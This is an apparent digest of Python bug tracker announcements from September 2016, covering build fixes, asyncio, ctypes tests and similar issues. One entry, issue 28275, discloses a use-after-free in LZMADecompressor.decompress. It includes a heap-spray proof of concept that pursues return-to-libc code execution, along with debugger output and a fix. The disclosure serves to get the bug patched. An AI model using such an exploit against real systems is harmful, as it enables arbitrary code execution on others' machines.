Added file: http://bugs.python.org/file44800/click_and_stamp.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28264>
_______________________________________

From report at bugs.python.org  Sat Sep 24 16:13:55 2016
From: report at bugs.python.org (Alexander Sosedkin)
Date: Sat, 24 Sep 2016 20:13:55 +0000
Subject: [New-bugs-announce] [issue28265] builtin_function_or_method's
 __getattribute__ not applicable to self
Message-ID: <1474748035.58.0.360622195645.issue28265@psf.upfronthosting.co.za>


New submission from Alexander Sosedkin:

I've managed to obtain several objects, which __getattribute__ cannot be applied to them.

Minimal non-working example (a more detailed one is attached):
b = abs.__class__
b.__getattribute__(b, 'x')

Proxying such objects turned out to be even harder that proxying everything else in Python (as if it wasn't already mindbogglingly hard).

As you can see, given that 'builtin_function_or_method' object you can obtain its __getattribute__, but you cannot apply it.

Tested with Python 3.5.2 and 3.6.0b1.

What's the deal with that broken __getattribute__? It seems to be specific to 'builtin_function_or_method' class, but why is it broken? If it is "PyObject_GenericGetAttr", then why object.__getattribute__(b, 'x') works? What am I missing?

----------
components: Interpreter Core
files: getattribute.py
messages: 277332
nosy: t184256
priority: normal
severity: normal
status: open
title: builtin_function_or_method's __getattribute__ not applicable to self
type: behavior
versions: Python 3.5, Python 3.6
Added file: http://bugs.python.org/file44802/getattribute.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28265>
_______________________________________

From report at bugs.python.org  Sat Sep 24 17:57:46 2016
From: report at bugs.python.org (Rouslan Korneychuk)
Date: Sat, 24 Sep 2016 21:57:46 +0000
Subject: [New-bugs-announce] [issue28266] setup.py uses build Python's
 configuration when cross-compiling
Message-ID: <1474754266.33.0.418200551185.issue28266@psf.upfronthosting.co.za>


New submission from Rouslan Korneychuk:

When building Python, the setup.py script will use values from sysconfig, even when cross compiling. When cross compiling, the interpreter that runs setup.py is configured for the build system, not the host system, so the wrong values are used. This patch should fix that.

It should be noted that the updated script assumes it is run from the build directory (like the Makefile) and that the script is at the top-level source directory. Also it uses a private method from sysconfig. This is unavoidable without modifying the sysconfig interface (or duplicating code).

----------
components: Cross-Build
files: setup-fix.patch
keywords: patch
messages: 277340
nosy: Alex.Willmer, Rouslan Korneychuk
priority: normal
severity: normal
status: open
title: setup.py uses build Python's configuration when cross-compiling
type: behavior
versions: Python 3.5
Added file: http://bugs.python.org/file44803/setup-fix.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28266>
_______________________________________

From report at bugs.python.org  Sun Sep 25 05:45:48 2016
From: report at bugs.python.org (Vitaly Murashev)
Date: Sun, 25 Sep 2016 09:45:48 +0000
Subject: [New-bugs-announce] [issue28267] [MinGW] Crash at start when
 compiled by MinGW for 64-bit Windows using PC/pyconfig.h
Message-ID: <1474796748.74.0.791284991149.issue28267@psf.upfronthosting.co.za>


New submission from Vitaly Murashev:

Hi,here the issue:
We (crystax.net) use custom builds of cpython,
which for windows are compiled by MinGW with pyconfig.h taken from PC/pyconfig.h
And for 32-bit Windows everything works well, but for 64-bit Windows - doesn't.

The root cause of this issue is actauly very simple:

Python code for windows is very sensitive on properly defined macro MS_WIN32/MS_WIN64
And while MS_WIN32 is predefined unconditionally in PC/pyconfig.h,
the MS_WIN64 is defined only in conjunction with _MSC_VER, like

#ifdef _MSC_VER
...
#ifdef _WIN64
#define MS_WIN64
#endif
...
#endif /* _MSC_VER */

So suggested patch (for 3.5.2 and 2.7.12) just appropriately define MS_WIN64 for MinGW

----------
components: Build, Windows
files: pyconfig.h.3.5.mingw.patch
keywords: patch
messages: 277352
nosy: paul.moore, steve.dower, tim.golden, vmurashev, zach.ware
priority: normal
severity: normal
status: open
title: [MinGW] Crash at start when compiled by MinGW for 64-bit Windows using PC/pyconfig.h
Added file: http://bugs.python.org/file44805/pyconfig.h.3.5.mingw.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28267>
_______________________________________

From report at bugs.python.org  Sun Sep 25 06:33:05 2016
From: report at bugs.python.org (chrysn)
Date: Sun, 25 Sep 2016 10:33:05 +0000
Subject: [New-bugs-announce] [issue28268] bz2.open does not use __fspath__
 (PEP 519)
Message-ID: <1474799585.68.0.824862918145.issue28268@psf.upfronthosting.co.za>


New submission from chrysn:

The bz2.open function accepts a file name; after PEP 519 (file system path protocol) it "is expected that most APIs in Python's standard library that currently accept a file system path will be updated appropriately to accept path objects".

BZ2File explicitly checks for types (bz2.py:94-97), so it will need explicit adaption.

----------
messages: 277357
nosy: chrysn
priority: normal
severity: normal
status: open
title: bz2.open does not use __fspath__ (PEP 519)
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28268>
_______________________________________

From report at bugs.python.org  Sun Sep 25 06:48:03 2016
From: report at bugs.python.org (Vitaly Murashev)
Date: Sun, 25 Sep 2016 10:48:03 +0000
Subject: [New-bugs-announce] [issue28269] [MinGW] Can't compile
 Python/dynload_win.c due to static strcasecmp
Message-ID: <1474800483.31.0.700864577383.issue28269@psf.upfronthosting.co.za>


New submission from Vitaly Murashev:

Attempt to complile Python/dynload_win.c by MinGW fails
due to static reimplementation of strcasecmp function in this file:

---
/* Case insensitive string compare, to avoid any dependencies on particular
   C RTL implementations */

static int strcasecmp (char *string1, char *string2)
{
    int first, second;

    do {
        first  = tolower(*string1);
        second = tolower(*string2);
        string1++;
        string2++;
    } while (first && first == second);

    return (first - second);
}
---

And this reimplementation clashed with native declaration of strcasecmp()
which one is a part of MinGW runtime

So suggested patch (for 3.5.2 and 2.7.12)
just disables static reimplementation of strcasecmp for MinGW

----------
components: Build
files: dynload_win.c.3.5.mingw.patch
keywords: patch
messages: 277362
nosy: vmurashev
priority: normal
severity: normal
status: open
title: [MinGW] Can't compile Python/dynload_win.c due to static strcasecmp
Added file: http://bugs.python.org/file44808/dynload_win.c.3.5.mingw.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28269>
_______________________________________

From report at bugs.python.org  Sun Sep 25 07:50:21 2016
From: report at bugs.python.org (Vitaly Murashev)
Date: Sun, 25 Sep 2016 11:50:21 +0000
Subject: [New-bugs-announce] [issue28270] [MinGW] Can't compile
 Modules/posixmodule.c by MinGW - several macro are missed
Message-ID: <1474804221.68.0.944652457277.issue28270@psf.upfronthosting.co.za>


New submission from Vitaly Murashev:

'posixmodule.c' is written pretty well, but some important MinGW realated macro are missed.
And as a result an attempt to complile Modules/posixmodule.c by MinGW fails.

So suggested patch (for 3.5.2 and 2.7.12)
just turns on missed MinGW related macro

----------
components: Build
files: posixmodule.c.3.5.mingw.patch
keywords: patch
messages: 277367
nosy: vmurashev
priority: normal
severity: normal
status: open
title: [MinGW] Can't compile Modules/posixmodule.c by MinGW - several macro are missed
type: compile error
Added file: http://bugs.python.org/file44811/posixmodule.c.3.5.mingw.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28270>
_______________________________________

From report at bugs.python.org  Sun Sep 25 08:37:44 2016
From: report at bugs.python.org (Vitaly Murashev)
Date: Sun, 25 Sep 2016 12:37:44 +0000
Subject: [New-bugs-announce] [issue28271] [MinGW] Can't compile
 _ctypes/callproc.c - SEH not supported by MinGW
Message-ID: <1474807064.66.0.0836341319322.issue28271@psf.upfronthosting.co.za>


New submission from Vitaly Murashev:

Structured exception handling not supported by MinGW,
and as a result file 'Modules/_ctypes/callproc.c' is not compilable by MinGW without patching

As I know the patch was initially introduced in Google's repo,
and fixed file 'callproc.c' now can be found here
https://android.googlesource.com/platform/external/python/+/upstream-2.7/Modules/_ctypes/callproc.c

Since I am sure that it is waste of time to wait while Googe suggest the patch in cpython upstream, I'm just injected Google's patch to the recent python version.

So suggested patch (for 3.5.2 and 2.7.12) is just an adoption of Google's patch to the recent cpython versions.

----------
components: Build, ctypes
files: callproc.c.3.5.mingw.patch
keywords: patch
messages: 277370
nosy: vmurashev
priority: normal
severity: normal
status: open
title: [MinGW] Can't compile _ctypes/callproc.c - SEH not supported by MinGW
type: compile error
Added file: http://bugs.python.org/file44813/callproc.c.3.5.mingw.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28271>
_______________________________________

From report at bugs.python.org  Sun Sep 25 08:38:49 2016
From: report at bugs.python.org (Oren Milman)
Date: Sun, 25 Sep 2016 12:38:49 +0000
Subject: [New-bugs-announce] [issue28272] a redundant check in
 maybe_small_long
Message-ID: <1474807129.82.0.382884780028.issue28272@psf.upfronthosting.co.za>


New submission from Oren Milman:

------------ current state ------------
In Objects/longobject.c, the function maybe_small_long first checks whether v (the received PyLongObject pointer) is not NULL. 
However, currently in every call to maybe_small_long, it is already guaranteed that v is not NULL, which makes that check redundant.
(Currently, the following are the only functions that call maybe_small_long:
    * PyLong_FromString
    * long_divrem
    * long_rshift
    * long_lshift
    * long_bitwise)

With regard to relevant changes made in the past, maybe_small_long remained quite the same since it was added, in changeset 48567 (https://hg.python.org/cpython/rev/1ce7e5c5a761) - in particular, the check (whether v is not NULL) was always there.
When it was added, both long_rshift and long_lshift might have called maybe_small_long with v as NULL, which seems like the reason for adding the check back then.


------------ proposed changes ------------
In Objects/longobject.c in maybe_small_long, remove the check whether v is not NULL, and add an 'assert(v != NULL);'.


------------ diff ------------
The proposed patches diff file is attached.


------------ tests ------------
I ran 'python_d.exe -m test -j3' (on my 64-bit Windows 10) with and without the patches, and got quite the same output.
The outputs of both runs are attached.

----------
components: Interpreter Core
files: CPythonTestOutput.txt
messages: 277371
nosy: Oren Milman
priority: normal
severity: normal
status: open
title: a redundant check in maybe_small_long
type: enhancement
versions: Python 3.7
Added file: http://bugs.python.org/file44815/CPythonTestOutput.txt

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28272>
_______________________________________

From report at bugs.python.org  Sun Sep 25 12:46:15 2016
From: report at bugs.python.org (Marcos Dione)
Date: Sun, 25 Sep 2016 16:46:15 +0000
Subject: [New-bugs-announce] [issue28273] Make os.waitpid() option parameter
 optional.
Message-ID: <1474821975.19.0.432444074991.issue28273@psf.upfronthosting.co.za>


New submission from Marcos Dione:

According to the documentation, the second parameter for os.waitpid(), called options, must be most of the time 0. So why not make it the default value?

The attached patch implements the proposed change, which is API compatible with current usages of the function.

----------
files: os_waitpid-optional_options.diff
keywords: patch
messages: 277383
nosy: StyXman
priority: normal
severity: normal
status: open
title: Make os.waitpid() option parameter optional.
Added file: http://bugs.python.org/file44822/os_waitpid-optional_options.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28273>
_______________________________________

From report at bugs.python.org  Sun Sep 25 14:37:27 2016
From: report at bugs.python.org (Billy Foster)
Date: Sun, 25 Sep 2016 18:37:27 +0000
Subject: [New-bugs-announce] [issue28274] asyncio does not call exception
 handler if task stored
Message-ID: <1474828647.42.0.633955971909.issue28274@psf.upfronthosting.co.za>


New submission from Billy Foster:

I found a very strange bug in asyncio where whether exception handlers are called depends on whether a task is stored.

To illustrate, the following code works as expected, printing out that it made it to the exception handler:

import asyncio
async def run():
    raise RuntimeError
def exception_handler(loop, context):
    print('Made it to exception handler.')
loop = asyncio.get_event_loop()
loop.set_exception_handler(exception_handler)
loop.create_task(run())
loop.run_forever()

However, if you take that exact same code but store the task that is returned from create_task, the exception handler will NOT be called:

import asyncio
async def run():
    raise RuntimeError
def exception_handler(loop, context):
    print('Made it to exception handler.')
loop = asyncio.get_event_loop()
loop.set_exception_handler(exception_handler)
task = loop.create_task(run())
loop.run_forever()

This is completely bizarre, and I have been unable to track down the reason.

----------
components: asyncio
messages: 277394
nosy: billyfoster, gvanrossum, yselivanov
priority: normal
severity: normal
status: open
title: asyncio does not call exception handler if task stored
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28274>
_______________________________________

From report at bugs.python.org  Mon Sep 26 00:33:36 2016
From: report at bugs.python.org (John Leitch)
Date: Mon, 26 Sep 2016 04:33:36 +0000
Subject: [New-bugs-announce] [issue28275] LZMADecompressor.decompress Use
 After Free
Message-ID: <1474864416.3.0.139133662072.issue28275@psf.upfronthosting.co.za>


New submission from John Leitch:

Python 3.5.2 suffers from a use after free vulnerability caused by the behavior of the LZMADecompressor.decompress method. The problem exists due to a dangling pointer created by an incomplete error path in the _lzma!decompress function.

static PyObject *
decompress(Decompressor *d, uint8_t *data, size_t len, Py_ssize_t max_length)
{
    char input_buffer_in_use;
    PyObject *result;
    lzma_stream *lzs = &d->lzs;

    /* Prepend unconsumed input if necessary */
    if (lzs->next_in != NULL) {
        [...]
    }
    else {
        lzs->next_in = data;
        lzs->avail_in = len;
        input_buffer_in_use = 0;
    }

    result = decompress_buf(d, max_length);
    if(result == NULL)
        return NULL;
    [...]
}

When the function is first called, lzs->next_in is NULL, so it is set using the data argument. If the subsequent call to decompress_buf fails because the stream is malformed, the function returns while maintaining the current value for lzs->next_in.

A couple returns later, the allocation pointed to by lzs->next_in (data) is freed:

static PyObject *
_lzma_LZMADecompressor_decompress(Decompressor *self, PyObject *args, PyObject *kwargs)
{
    PyObject *return_value = NULL;
    static char *_keywords[] = {"data", "max_length", NULL};
    Py_buffer data = {NULL, NULL};
    Py_ssize_t max_length = -1;

    if (!PyArg_ParseTupleAndKeywords(args, kwargs, "y*|n:decompress", _keywords,
        &data, &max_length))
        goto exit;
    return_value = _lzma_LZMADecompressor_decompress_impl(self, &data, max_length);

exit:
    /* Cleanup for data */
    if (data.obj)
       PyBuffer_Release(&data);

    return return_value;
}


At this point, any calls to decompress made to the same Decompressor instance (a typical use case--multiple calls may be necessary to decompress a single stream) will result in a memcpy to the dangling lzs->next_in pointer, and thus memory corruption.

static PyObject *
decompress(Decompressor *d, uint8_t *data, size_t len, Py_ssize_t max_length)
{
    char input_buffer_in_use;
    PyObject *result;
    lzma_stream *lzs = &d->lzs;

    /* Prepend unconsumed input if necessary */
    if (lzs->next_in != NULL) {
        size_t avail_now, avail_total;
        [...]
        memcpy((void*)(lzs->next_in + lzs->avail_in), data, len);
        lzs->avail_in += len;
        input_buffer_in_use = 1;
    }
    else {
        [...]
    }
}

This vulnerability can be exploited to achieve arbitrary code execution. In applications where untrusted LZMA streams are received over a network, it might be possible to exploit this vulnerability remotely. A simple proof of concept that demonstrates a return-to-libc attack is attached.

import _lzma
from array import *

# System address when tested: 76064070
d = _lzma.LZMADecompressor()
spray = [];
for x in range(0, 0x700):
    meg = bytearray(b'\x76\x70\x40\x06' * int(0x100000 / 4));        
    spray.append(meg)

def foo():    
    for x in range(0, 2):
        try:
            d.decompress(b"\x20\x26\x20\x63\x61\x6c\x63\x00\x41\x41\x41\x41\x41\x41\x41\x41" * int(0x100 / (4*4)))
        except:
            pass
foo()
print(len(spray[0]))
print(len(spray))


To fix the issue, it is recommended that lzs->next_in be zeroed in the event the call to decompress_buf fails. A proposed patch is attached.

    result = decompress_buf(d, max_length);
    if(result == NULL) {
        lzs->next_in = 0;
        return NULL;
    }


A repro file is attached as well.

Exception details:

0:000> r
eax=0000000a ebx=009ef540 ecx=00000002 edx=41414141 esi=08b44970 edi=09275fe8
eip=6bf55149 esp=009ef3e0 ebp=009ef434 iopl=0         nv up ei pl nz na po cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010203
VCRUNTIME140D!TrailingDownVec+0x1f9:
6bf55149 8917            mov     dword ptr [edi],edx  ds:002b:09275fe8=????????
0:000> k
ChildEBP RetAddr  
009ef3e4 5d573f80 VCRUNTIME140D!TrailingDownVec+0x1f9 [f:\dd\vctools\crt\vcruntime\src\string\i386\memcpy.asm @ 658]
009ef434 5d573383 _lzma_d!decompress+0x130 [c:\source2\python-3.5.2\modules\_lzmamodule.c @ 997]
009ef454 5d572049 _lzma_d!_lzma_LZMADecompressor_decompress_impl+0x93 [c:\source2\python-3.5.2\modules\_lzmamodule.c @ 1097]
009ef49c 55e6dd40 _lzma_d!_lzma_LZMADecompressor_decompress+0x79 [c:\source2\python-3.5.2\modules\clinic\_lzmamodule.c.h @ 99]
009ef4d4 55f65199 python35_d!PyCFunction_Call+0x80 [c:\source2\python-3.5.2\objects\methodobject.c @ 98]
009ef4fc 55f6008d python35_d!call_function+0x3e9 [c:\source2\python-3.5.2\python\ceval.c @ 4705]
009ef58c 55f6478d python35_d!PyEval_EvalFrameEx+0x509d [c:\source2\python-3.5.2\python\ceval.c @ 3238]
009ef5cc 55f5afbd python35_d!_PyEval_EvalCodeWithName+0x73d [c:\source2\python-3.5.2\python\ceval.c @ 4018]
009ef608 55f5af81 python35_d!PyEval_EvalCodeEx+0x2d [c:\source2\python-3.5.2\python\ceval.c @ 4039]
009ef63c 55fe67de python35_d!PyEval_EvalCode+0x21 [c:\source2\python-3.5.2\python\ceval.c @ 777]
009ef660 55fe2daa python35_d!run_mod+0x3e [c:\source2\python-3.5.2\python\pythonrun.c @ 976]
009ef69c 55fe3dac python35_d!PyRun_FileExFlags+0x9a [c:\source2\python-3.5.2\python\pythonrun.c @ 929]
009ef730 55fe2c5b python35_d!PyRun_SimpleFileExFlags+0x3ec [c:\source2\python-3.5.2\python\pythonrun.c @ 396]
009ef74c 55d39e6d python35_d!PyRun_AnyFileExFlags+0x6b [c:\source2\python-3.5.2\python\pythonrun.c @ 80]
009ef7a0 55d38821 python35_d!run_file+0x13d [c:\source2\python-3.5.2\modules\main.c @ 318]
009ef908 1c841331 python35_d!Py_Main+0xf01 [c:\source2\python-3.5.2\modules\main.c @ 768]
009ef918 1c84178e python_d!wmain+0x11 [c:\source2\python-3.5.2\programs\python.c @ 14]
009ef92c 1c8415da python_d!invoke_main+0x1e [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 89]
009ef984 1c84146d python_d!__scrt_common_main_seh+0x15a [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 264]
009ef98c 1c8417a8 python_d!__scrt_common_main+0xd [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 309]
009ef994 742438f4 python_d!wmainCRTStartup+0x8 [f:\dd\vctools\crt\vcstartup\src\startup\exe_wmain.cpp @ 17]
009ef9a8 77545de3 KERNEL32!BaseThreadInitThunk+0x24
009ef9f0 77545dae ntdll!__RtlUserThreadStart+0x2f
009efa00 00000000 ntdll!_RtlUserThreadStart+0x1b
0:000> !heap -p -a edi
    address 09275fe8 found in
    _DPH_HEAP_ROOT @ 53a1000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    9182d68:          9275000             2000
    5c949cd2 verifier!AVrfDebugPageHeapFree+0x000000c2
    775be045 ntdll!RtlDebugFreeHeap+0x0000003c
    7751cc3e ntdll!RtlpFreeHeap+0x00000c3e
    7751b4c8 ntdll!RtlFreeHeap+0x00000268
    591067a7 ucrtbased!free_base+0x00000027
    5910394b ucrtbased!calloc_base+0x00000b5b
    5910617c ucrtbased!free_dbg+0x0000007c
    59106750 ucrtbased!free+0x00000010
    55e781bd python35_d!_PyMem_RawFree+0x0000000d [c:\source2\python-3.5.2\objects\obmalloc.c @ 90]
    55e77f32 python35_d!_PyMem_DebugFree+0x00000072 [c:\source2\python-3.5.2\objects\obmalloc.c @ 1892]
    55e78434 python35_d!PyMem_RawFree+0x00000014 [c:\source2\python-3.5.2\objects\obmalloc.c @ 316]
    55e77ad1 python35_d!_PyObject_Free+0x00000591 [c:\source2\python-3.5.2\objects\obmalloc.c @ 1618]
    55e77f32 python35_d!_PyMem_DebugFree+0x00000072 [c:\source2\python-3.5.2\objects\obmalloc.c @ 1892]
    55e78724 python35_d!PyObject_Free+0x00000014 [c:\source2\python-3.5.2\objects\obmalloc.c @ 410]
    55e02005 python35_d!bytes_dealloc+0x00000015 [c:\source2\python-3.5.2\objects\bytesobject.c @ 956]
    55e75f73 python35_d!_Py_Dealloc+0x00000023 [c:\source2\python-3.5.2\objects\object.c @ 1786]
    55e922f7 python35_d!tupledealloc+0x000000c7 [c:\source2\python-3.5.2\objects\tupleobject.c @ 236]
    55e75f73 python35_d!_Py_Dealloc+0x00000023 [c:\source2\python-3.5.2\objects\object.c @ 1786]
    55f651a9 python35_d!call_function+0x000003f9 [c:\source2\python-3.5.2\python\ceval.c @ 4707]
    55f6008d python35_d!PyEval_EvalFrameEx+0x0000509d [c:\source2\python-3.5.2\python\ceval.c @ 3238]
    55f6478d python35_d!_PyEval_EvalCodeWithName+0x0000073d [c:\source2\python-3.5.2\python\ceval.c @ 4018]
    55f5afbd python35_d!PyEval_EvalCodeEx+0x0000002d [c:\source2\python-3.5.2\python\ceval.c @ 4039]
    55f5af81 python35_d!PyEval_EvalCode+0x00000021 [c:\source2\python-3.5.2\python\ceval.c @ 777]
    55fe67de python35_d!run_mod+0x0000003e [c:\source2\python-3.5.2\python\pythonrun.c @ 976]
    55fe2daa python35_d!PyRun_FileExFlags+0x0000009a [c:\source2\python-3.5.2\python\pythonrun.c @ 929]
    55fe3dac python35_d!PyRun_SimpleFileExFlags+0x000003ec [c:\source2\python-3.5.2\python\pythonrun.c @ 396]
    55fe2c5b python35_d!PyRun_AnyFileExFlags+0x0000006b [c:\source2\python-3.5.2\python\pythonrun.c @ 80]
    55d39e6d python35_d!run_file+0x0000013d [c:\source2\python-3.5.2\modules\main.c @ 318]
    55d38821 python35_d!Py_Main+0x00000f01 [c:\source2\python-3.5.2\modules\main.c @ 768]
    1c841331 python_d!wmain+0x00000011 [c:\source2\python-3.5.2\programs\python.c @ 14]
    1c84178e python_d!invoke_main+0x0000001e [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 89]
    1c8415da python_d!__scrt_common_main_seh+0x0000015a [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 264]

 
0:000> !analyze -v -nodb
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************


FAULTING_IP: 
VCRUNTIME140D!TrailingDownVec+1f9 [f:\dd\vctools\crt\vcruntime\src\string\i386\memcpy.asm @ 658]
6bf55149 8917            mov     dword ptr [edi],edx

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 6bf55149 (VCRUNTIME140D!TrailingDownVec+0x000001f9)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 09275fe8
Attempt to write to address 09275fe8

CONTEXT:  00000000 -- (.cxr 0x0;r)
eax=0000000a ebx=009ef540 ecx=00000002 edx=41414141 esi=08b44970 edi=09275fe8
eip=6bf55149 esp=009ef3e0 ebp=009ef434 iopl=0         nv up ei pl nz na po cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010203
VCRUNTIME140D!TrailingDownVec+0x1f9:
6bf55149 8917            mov     dword ptr [edi],edx  ds:002b:09275fe8=????????

FAULTING_THREAD:  000043fc

DEFAULT_BUCKET_ID:  INVALID_POINTER_WRITE

PROCESS_NAME:  python_d.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  09275fe8

WRITE_ADDRESS:  09275fe8 

FOLLOWUP_IP: 
VCRUNTIME140D!TrailingDownVec+1f9 [f:\dd\vctools\crt\vcruntime\src\string\i386\memcpy.asm @ 658]
6bf55149 8917            mov     dword ptr [edi],edx

NTGLOBALFLAG:  2000000

APPLICATION_VERIFIER_FLAGS:  0

APP:  python_d.exe

ANALYSIS_VERSION: 6.3.9600.17029 (debuggers(dbg).140219-1702) x86fre

PRIMARY_PROBLEM_CLASS:  INVALID_POINTER_WRITE

BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_WRITE_INVALID_POINTER_READ

LAST_CONTROL_TRANSFER:  from 5d573f80 to 6bf55149

STACK_TEXT:  
009ef3e4 5d573f80 09275fe8 08b44970 0000000a VCRUNTIME140D!TrailingDownVec+0x1f9
009ef434 5d573383 060e9f40 08b44970 0000000a _lzma_d!decompress+0x130
009ef454 5d572049 060e9f40 009ef468 ffffffff _lzma_d!_lzma_LZMADecompressor_decompress_impl+0x93
009ef49c 55e6dd40 060e9f40 079cec40 00000000 _lzma_d!_lzma_LZMADecompressor_decompress+0x79
009ef4d4 55f65199 08b53db8 079cec40 00000000 python35_d!PyCFunction_Call+0x80
009ef4fc 55f6008d 009ef540 079cec40 06143c78 python35_d!call_function+0x3e9
009ef58c 55f6478d 06143c78 00000000 1c84114f python35_d!PyEval_EvalFrameEx+0x509d
009ef5cc 55f5afbd 079eae60 06143c78 06171978 python35_d!_PyEval_EvalCodeWithName+0x73d
009ef608 55f5af81 079eae60 06171978 06171978 python35_d!PyEval_EvalCodeEx+0x2d
009ef63c 55fe67de 079eae60 06171978 06171978 python35_d!PyEval_EvalCode+0x21
009ef660 55fe2daa 08db1470 08b4b168 06171978 python35_d!run_mod+0x3e
009ef69c 55fe3dac 06e40fc0 079f30e0 00000101 python35_d!PyRun_FileExFlags+0x9a
009ef730 55fe2c5b 06e40fc0 079f30e0 00000001 python35_d!PyRun_SimpleFileExFlags+0x3ec
009ef74c 55d39e6d 06e40fc0 079f30e0 00000001 python35_d!PyRun_AnyFileExFlags+0x6b
009ef7a0 55d38821 06e40fc0 06012fa6 009ef85c python35_d!run_file+0x13d
009ef908 1c841331 00000002 06012f80 009ef92c python35_d!Py_Main+0xf01
009ef918 1c84178e 00000002 06012f80 0601af40 python_d!wmain+0x11
009ef92c 1c8415da 851961c5 1c84114f 1c84114f python_d!invoke_main+0x1e
009ef984 1c84146d 009ef994 1c8417a8 009ef9a8 python_d!__scrt_common_main_seh+0x15a
009ef98c 1c8417a8 009ef9a8 742438f4 006cd000 python_d!__scrt_common_main+0xd
009ef994 742438f4 006cd000 742438d0 939c497b python_d!wmainCRTStartup+0x8
009ef9a8 77545de3 006cd000 5080bb84 00000000 KERNEL32!BaseThreadInitThunk+0x24
009ef9f0 77545dae ffffffff 7756b7d7 00000000 ntdll!__RtlUserThreadStart+0x2f
009efa00 00000000 1c84114f 006cd000 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  .cxr 0x0 ; kb

FAULTING_SOURCE_LINE:  f:\dd\vctools\crt\vcruntime\src\string\i386\memcpy.asm

FAULTING_SOURCE_FILE:  f:\dd\vctools\crt\vcruntime\src\string\i386\memcpy.asm

FAULTING_SOURCE_LINE_NUMBER:  658

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  vcruntime140d!TrailingDownVec+1f9

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: VCRUNTIME140D

IMAGE_NAME:  VCRUNTIME140D.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  558ce3d5

FAILURE_BUCKET_ID:  INVALID_POINTER_WRITE_c0000005_VCRUNTIME140D.dll!TrailingDownVec

BUCKET_ID:  APPLICATION_FAULT_INVALID_POINTER_WRITE_INVALID_POINTER_READ_vcruntime140d!TrailingDownVec+1f9

ANALYSIS_SOURCE:  UM

FAILURE_ID_HASH_STRING:  um:invalid_pointer_write_c0000005_vcruntime140d.dll!trailingdownvec

FAILURE_ID_HASH:  {935a9c66-b210-2678-8c10-c746a999bfb6}

Followup: MachineOwner
---------

----------
components: Library (Lib)
files: _lzmamodule_uaf_fix.patch
keywords: patch
messages: 277402
nosy: JohnLeitch
priority: normal
severity: normal
status: open
title: LZMADecompressor.decompress Use After Free
type: security
versions: Python 3.5
Added file: http://bugs.python.org/file44827/_lzmamodule_uaf_fix.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28275>
_______________________________________

From report at bugs.python.org  Mon Sep 26 07:04:43 2016
From: report at bugs.python.org (Michael Felt)
Date: Mon, 26 Sep 2016 11:04:43 +0000
Subject: [New-bugs-announce] [issue28276] test_loading.py - false positive
 result for "def test_find" when find_library() is not functional or the
 (shared) library does not exist
Message-ID: <1474887883.6.0.275550575314.issue28276@psf.upfronthosting.co.za>


New submission from Michael Felt:

in Lib/ctypes/test/test_loading.py there is the following test

    def test_find(self):
        for name in ("c", "m"):
            lib = find_library(name)
            if lib:
                cdll.LoadLibrary(lib)
                CDLL(lib)


1. on AIX, the test is "broken" because lib is None for both names because:
a1) find_library is basically broken for AIX (needs ldconfig, gcc, and/or other tools not generally available on AIX (production) servers
a2) "m" will always fail because there is no equivalent to libm.so - AIX libm.a only has static members - none are shared.
2. IMHO - the test is misnamed "test_find" - as None is an acceptable answer - which is why it 'appears' to PASS on AIX

As far as library names to look for I suggest switching "m" to "ssl" - as something that should be everywhere.

And the test should be something more like:

    self.assertEqual(lib not None)

OR is the test actually testing LoadLibrary and CDLL (as well)

Back to my humble opinion: assuming the real test is to test LoadLibrary and CDLL by accepting None as a valid result from find_library - false POSITIVE is the result when find_library() is not working.

----------
messages: 277411
nosy: Michael.Felt
priority: normal
severity: normal
status: open
title: test_loading.py - false positive result for "def test_find" when find_library() is not functional or the (shared) library does not exist
versions: Python 2.7, Python 3.3, Python 3.4, Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28276>
_______________________________________

From report at bugs.python.org  Mon Sep 26 08:03:10 2016
From: report at bugs.python.org (Michael Felt)
Date: Mon, 26 Sep 2016 12:03:10 +0000
Subject: [New-bugs-announce] [issue28277] ./Modules/_io/_iomodule.c build
 failure on AIX (beta1) while (a2) was fine.
Message-ID: <1474891390.34.0.856416386783.issue28277@psf.upfronthosting.co.za>


New submission from Michael Felt:

Python-3.6.0.a2 (a2 == 162)

